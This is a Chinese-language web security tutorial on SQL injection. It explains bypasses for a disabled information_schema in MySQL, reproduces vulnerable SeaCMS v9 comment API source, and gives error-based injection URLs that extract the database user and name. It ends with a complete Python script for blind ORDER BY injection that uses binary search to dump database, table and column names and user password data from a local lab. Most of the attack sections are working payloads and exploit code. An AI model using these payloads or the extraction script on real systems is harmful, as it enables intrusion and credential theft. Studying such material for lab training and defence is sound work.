当前位置：首页 > article >正文

seasms v9 注入漏洞 + order by注入+information_schema解决方法

article 2025/2/27 12:23:44

一、当注入时，information_schema被禁用的解决方法

1.通过sys库可以获取到表名和库名

2.通过无列名注入join获取列名

二、seasms v9 注入漏洞

三、order by注入

一、当注入时，information_schema被禁用的解决方法

information_schema数据库是MySQL和其他一些数据库系统中存储元数据的标准视图，包含表、列、权限等信息。攻击时可以直接查询这些信息来获取数据库结构，比如表名和列名。当information_schema被禁用时需要寻找其他途径来获取必要的信息。

1.通过sys库可以获取到表名和库名

在 Mysql 5.7 版本中新增了 sys.schema ，基础数据来自于 performance_schema和information_sche两个库中，其本身并不存储数据。

可以代替information_schema的表：

sys.schema_table_statistics：
该表提供了关于表的统计信息，包括表所在的数据库（table_schema）和表名（table_name）。

sys.schema_table_statistics_with_buffer：
除了提供基本的表统计信息外，还包含了InnoDB缓冲池的统计信息，同样有table_schema和table_name字段。

sys.schema_auto_increment_columns：
如果表中有自增ID列，这个视图会包含相关信息，可以用来间接推断出表的存在，但只限于有自增列的表。

2.通过无列名注入join获取列名

由于join是将两张表的列名给加起来，所以有可能会产生相同的列名，而在使用别名时，是不允出现相同的列名的，因此当它们两个一起使用时，由于会出现多个相同的列名，那么他就会报错。就可以利用此特性进行sql注入查询列名。

select * from (select * from users as a join users b)c;

当查询完第一个列名时，使用using排除，继续查询下一个列名。

select * from (select * from users as a join users as b using(id)) as c;

以此类推可以获取到想要的列名。

二、seasms v9 注入漏洞

漏洞文件：

seacmsV9.1/upload/comment/api/index.php

漏洞代码：

<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";

if($page<2)
{
	if(file_exists($jsoncachefile))
	{
		$json=LoadFile($jsoncachefile);
		die($json);
	}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
	createTextFile($h,$jsoncachefile);
}
die($h);	


function ReadData($id,$page)
{
	global $type,$pCount,$rlist;
	$ret = array("","",$page,0,10,$type,$id);
	if($id>0)
	{
		$ret[0] = Readmlist($id,$page,$ret[4]);
		$ret[3] = $pCount;
		$x = implode(',',$rlist);
		if(!empty($x))
		{
		$ret[1] = Readrlist($x,1,10000);
		}
	}	
	$readData = FormatJson($ret);
	return $readData;
}

function Readmlist($id,$page,$size)
{
	global $dsql,$type,$pCount,$rlist;
	$ml=array();
	if($id>0)
	{
		$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
		$rs = $dsql ->GetOne($sqlCount);
		$pCount = ceil($rs['dd']/$size);
		$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
		$dsql->setQuery($sql);
		$dsql->Execute('commentmlist');
		while($row=$dsql->GetArray('commentmlist'))
		{
			$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
			$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
		}
	}
	$readmlist=join($ml,",");
	return $readmlist;
}

function Readrlist($ids,$page,$size)
{
	global $dsql,$type;
	$rl=array();
	$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
	$dsql->setQuery($sql);
	$dsql->Execute('commentrlist');
	while($row=$dsql->GetArray('commentrlist'))
	{
		$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
	}
	$readrlist=join($rl,",");
	return $readrlist;
}

function ReadReplyID($gid,$cmid,&$rlist)
{
	global $dsql;
	if($cmid>0)
	{
		if(!in_array($cmid,$rlist))$rlist[]=$cmid;
		$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
		if(is_array($row))
		{
			$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
		}else
		{
			$ReplyID = "";
		}
	}else
	{
		$ReplyID = "";
	}
	return $ReplyID;
}

function FormatJson($json)
{
	$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
	for($i=6;$i>=0;$i--)
	{
		$x=str_replace("%".$i."%",$json[$i],$x);
	}
	$formatJson = jsonescape($x);
	return $formatJson;
}

function jsonescape($txt)
{
	$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
	return $jsonescape;
}

在代码中，$ids是通过$rlist数组收集的，而$rlist是在Readmlist和ReadReplyID函数中被填充的。在代码中，当处理评论回复时，会递归地收集相关的回复ID，存入$rlist数组中，然后生成$ids作为逗号分隔的字符串。在Readrlist函数中，$ids被直接拼接到SQL查询的IN子句中，而没有任何转义或参数化处理。因此我们可以通过报错注入和单引号绕过的方法实现注入。

通过报错注入出当前用户：

http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`

当前数据库：

http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,0x5c,(select%20database()))),@`%27`

注入获取表：

http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x5c,0x5c,(select%20table_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),@`%27`

【这里获取表时不会报错出东西】

三、order by注入

sort前面是order by，通过sort传入的字段排序，可以通过用sort=if(表达式,列1,列2)的方式注入

可以通过BeautifulSoup爬取表格中username下一格的值来判断表达式的真假，并通过二分查找加快注入速度

import requests
from lxml import html


def get_id_one(URl, paload):
    res = requests.get(url=URl, params=paload)
    tree = html.fromstring(res.content)
    id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()
    return id_one


def get_database(URl):
    s = ""
    for i in range(1, 10):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = { "sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),id,username) -- "}
            id_one = get_id_one(URl, paload)
            if id_one == "1":
                hight = mid
                mid = (low + hight) // 2
            else:
                low = mid + 1
                mid = (low + hight) // 2
        s += chr(mid)
        print("数据库名:" + s)


def get_table(URl):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URl, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("表:" + s)


def get_column(URl):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URl, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("列:" + s)


def get_result(URl):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URl, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("用户名和密码信息:" + s)


if __name__ == '__main__':
    URl = "http://127.0.0.1/sqlilabs/less-46/index.php"
    get_database(URl)
    get_table(URl)
    get_column(URl)
    get_result(URl)